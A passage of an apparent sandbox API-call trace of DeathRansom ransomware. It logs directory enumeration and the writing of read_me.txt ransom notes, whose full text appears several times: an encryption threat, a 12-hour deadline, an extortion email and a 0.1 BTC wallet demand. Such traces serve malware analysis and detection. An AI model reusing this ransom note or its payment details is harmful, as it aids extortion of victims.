LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.709] WriteFile (in: hFile=0x8e0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.710] CloseHandle (hObject=0x8e0) returned 1 [0078.710] GetProcessHeap () returned 0x540000 [0078.710] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44800e8 | out: hHeap=0x540000) returned 1 [0078.710] lstrcpyW (in: lpString1=0x44800e8, lpString2="\\\\?\\C:\\Users\\Default\\Music" | out: lpString1="\\\\?\\C:\\Users\\Default\\Music") returned="\\\\?\\C:\\Users\\Default\\Music" [0078.710] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 92 [0078.710] QueueUserWorkItem (Function=0x40a710, Context=0x44800e8, Flags=0x0) returned 1 [0078.710] GetProcessHeap () returned 0x540000 [0078.710] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42320d0 [0078.711] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\*") returned 28 [0078.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Music\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.711] lstrcpyW (in: lpString1=0x42320d0, lpString2="\\\\?\\C:\\Users\\Default\\My Documents" | out: lpString1="\\\\?\\C:\\Users\\Default\\My Documents") returned="\\\\?\\C:\\Users\\Default\\My Documents" [0078.711] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 93 [0078.711] QueueUserWorkItem (Function=0x40a710, Context=0x42320d0, Flags=0x0) returned 1 [0078.711] GetProcessHeap () returned 0x540000 [0078.711] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42420d8 [0078.712] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\My Documents\\*") returned 35 [0078.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af9d0d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="read_me.txt", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.712] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\My Documents\\read_me.txt") returned 45 [0078.712] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\My Documents\\read_me.txt" (normalized: "c:\\users\\default\\my documents\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.712] GetProcessHeap () returned 0x540000 [0078.712] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42420d8 | out: hHeap=0x540000) returned 1 [0078.712] lstrcpyW (in: lpString1=0x42420d8, lpString2="\\\\?\\C:\\Users\\Default\\NetHood" | out: lpString1="\\\\?\\C:\\Users\\Default\\NetHood") returned="\\\\?\\C:\\Users\\Default\\NetHood" [0078.712] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 94 [0078.712] QueueUserWorkItem (Function=0x40a710, Context=0x42420d8, Flags=0x0) returned 1 [0078.712] GetProcessHeap () returned 0x540000 [0078.712] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42520e0 [0078.713] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\NetHood\\*") returned 30 [0078.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af9d0d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="read_me.txt", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.713] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\NetHood\\read_me.txt") returned 40 [0078.713] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NetHood\\read_me.txt" (normalized: "c:\\users\\default\\nethood\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0078.716] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.716] WriteFile (in: hFile=0x8e4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.717] CloseHandle (hObject=0x8e4) returned 1 [0078.717] GetProcessHeap () returned 0x540000 [0078.717] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42520e0 | out: hHeap=0x540000) returned 1 [0078.717] lstrcpyW (in: lpString1=0x42520e0, lpString2="\\\\?\\C:\\Users\\Default\\Pictures" | out: lpString1="\\\\?\\C:\\Users\\Default\\Pictures") returned="\\\\?\\C:\\Users\\Default\\Pictures" [0078.717] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 95 [0078.717] QueueUserWorkItem (Function=0x40a710, Context=0x42520e0, Flags=0x0) returned 1 [0078.717] GetProcessHeap () returned 0x540000 [0078.717] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42720f0 [0078.717] wnsprintfW (in: pszDest=0x42720f0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\*") returned 31 [0078.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0078.718] lstrcpyW (in: lpString1=0x42720f0, lpString2="\\\\?\\C:\\Users\\Default\\PrintHood" | out: lpString1="\\\\?\\C:\\Users\\Default\\PrintHood") returned="\\\\?\\C:\\Users\\Default\\PrintHood" [0078.718] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 96 [0078.718] QueueUserWorkItem (Function=0x40a710, Context=0x42720f0, Flags=0x0) returned 1 [0078.718] GetProcessHeap () returned 0x540000 [0078.718] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44900f0 [0078.719] wnsprintfW (in: pszDest=0x44900f0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\PrintHood\\*") returned 32 [0078.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="read_me.txt", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.719] wnsprintfW (in: pszDest=0x44900f0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\PrintHood\\read_me.txt") returned 42 [0078.719] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\PrintHood\\read_me.txt" (normalized: "c:\\users\\default\\printhood\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0078.719] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.719] WriteFile (in: hFile=0x8e4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.720] CloseHandle (hObject=0x8e4) returned 1 [0078.720] GetProcessHeap () returned 0x540000 [0078.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44900f0 | out: hHeap=0x540000) returned 1 [0078.721] lstrcpyW (in: lpString1=0x44900f0, lpString2="\\\\?\\C:\\Users\\Default\\Recent" | out: lpString1="\\\\?\\C:\\Users\\Default\\Recent") returned="\\\\?\\C:\\Users\\Default\\Recent" [0078.721] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 97 [0078.721] QueueUserWorkItem (Function=0x40a710, Context=0x44900f0, Flags=0x0) returned 1 [0078.721] GetProcessHeap () returned 0x540000 [0078.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44a00f8 [0078.722] wnsprintfW (in: pszDest=0x44a00f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Recent\\*") returned 29 [0078.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Recent\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="read_me.txt", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.722] wnsprintfW (in: pszDest=0x44a00f8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Recent\\read_me.txt") returned 39 [0078.722] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Recent\\read_me.txt" (normalized: "c:\\users\\default\\recent\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0078.755] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.755] WriteFile (in: hFile=0x7f8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.756] CloseHandle (hObject=0x7f8) returned 1 [0078.757] GetProcessHeap () returned 0x540000 [0078.757] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44a00f8 | out: hHeap=0x540000) returned 1 [0078.757] lstrcpyW (in: lpString1=0x4302138, lpString2="\\\\?\\C:\\Users\\Default\\Saved Games" | out: lpString1="\\\\?\\C:\\Users\\Default\\Saved Games") returned="\\\\?\\C:\\Users\\Default\\Saved Games" [0078.757] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 98 [0078.757] QueueUserWorkItem (Function=0x40a710, Context=0x4302138, Flags=0x0) returned 1 [0078.757] GetProcessHeap () returned 0x540000 [0078.757] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42220c8 [0078.757] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\*") returned 34 [0078.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.759] lstrcpyW (in: lpString1=0x42220c8, lpString2="\\\\?\\C:\\Users\\Default\\Searches" | out: lpString1="\\\\?\\C:\\Users\\Default\\Searches") returned="\\\\?\\C:\\Users\\Default\\Searches" [0078.759] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 99 [0078.759] QueueUserWorkItem (Function=0x40a710, Context=0x42220c8, Flags=0x0) returned 1 [0078.759] GetProcessHeap () returned 0x540000 [0078.759] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42620e8 [0078.759] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches\\*") returned 31 [0078.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.767] lstrcpyW (in: lpString1=0x42620e8, lpString2="\\\\?\\C:\\Users\\Default\\SendTo" | out: lpString1="\\\\?\\C:\\Users\\Default\\SendTo") returned="\\\\?\\C:\\Users\\Default\\SendTo" [0078.767] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 100 [0078.767] QueueUserWorkItem (Function=0x40a710, Context=0x42620e8, Flags=0x0) returned 1 [0078.767] GetProcessHeap () returned 0x540000 [0078.767] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44a00f8 [0078.767] wnsprintfW (in: pszDest=0x44a00f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\SendTo\\*") returned 29 [0078.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Indexed Locations.search-ms", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.768] wnsprintfW (in: pszDest=0x44a00f8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\SendTo\\read_me.txt") returned 39 [0078.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\SendTo\\read_me.txt" (normalized: "c:\\users\\default\\sendto\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0078.773] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.773] WriteFile (in: hFile=0x930, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.774] CloseHandle (hObject=0x930) returned 1 [0078.774] GetProcessHeap () returned 0x540000 [0078.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44a00f8 | out: hHeap=0x540000) returned 1 [0078.774] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Users\\Default\\Start Menu" | out: lpString1="\\\\?\\C:\\Users\\Default\\Start Menu") returned="\\\\?\\C:\\Users\\Default\\Start Menu" [0078.774] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 101 [0078.774] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0078.774] GetProcessHeap () returned 0x540000 [0078.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44a00f8 [0078.774] wnsprintfW (in: pszDest=0x44a00f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Start Menu\\*") returned 33 [0078.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, 